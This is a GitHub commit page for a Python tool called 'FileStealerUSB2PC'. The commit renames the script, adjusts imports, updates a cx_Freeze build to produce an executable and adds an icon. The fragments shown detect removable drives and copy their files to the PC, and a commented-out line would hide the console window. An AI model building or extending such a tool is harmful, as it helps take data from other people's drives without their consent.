Skip to content

Commit

Permalink
compiler renamed, setup updated, icon added
Browse files Browse the repository at this point in the history
  • Loading branch information
bestmahdi2 committed May 28, 2020
1 parent efcb08b commit 20ff0b0
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 4 deletions.
8 changes: 5 additions & 3 deletions Compiler.py → FileStealerUSB2PC.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
from getpass import getuser
from platform import system as syst
from time import sleep
from os import chdir , listdir , path , mkdir
from shutil import copytree , copyfile
from progressbar import *
from progressbar import ProgressBar,Percentage,Bar,ETA,FileTransferSpeed



Expand Down Expand Up @@ -205,14 +204,17 @@ def final(self):
input()

if __name__ == "__main__":
#import ctypes
#ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 6)
if syst() == "Windows":
from win32file import GetDriveType, GetLogicalDrives, DRIVE_REMOVABLE
M = MainsWindows()
M.usbdrive()
M.copier()
M.final()
if syst() == "Linux":
from getpass import getuser
M = MainLinux()
M.usbdrive()
M.copier()
M.final()
M.final()
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
from cx_Freeze import setup , Executable

setup(name = "Main" , version = "1" ,
description = "Des" , executables = [Executable('Compiler.py')])
description = "Des" , executables = [Executable('FileStealerUSB2PC.py')])
Binary file added usb.ico
Binary file not shown.

0 comments on commit 20ff0b0

Please sign in to comment.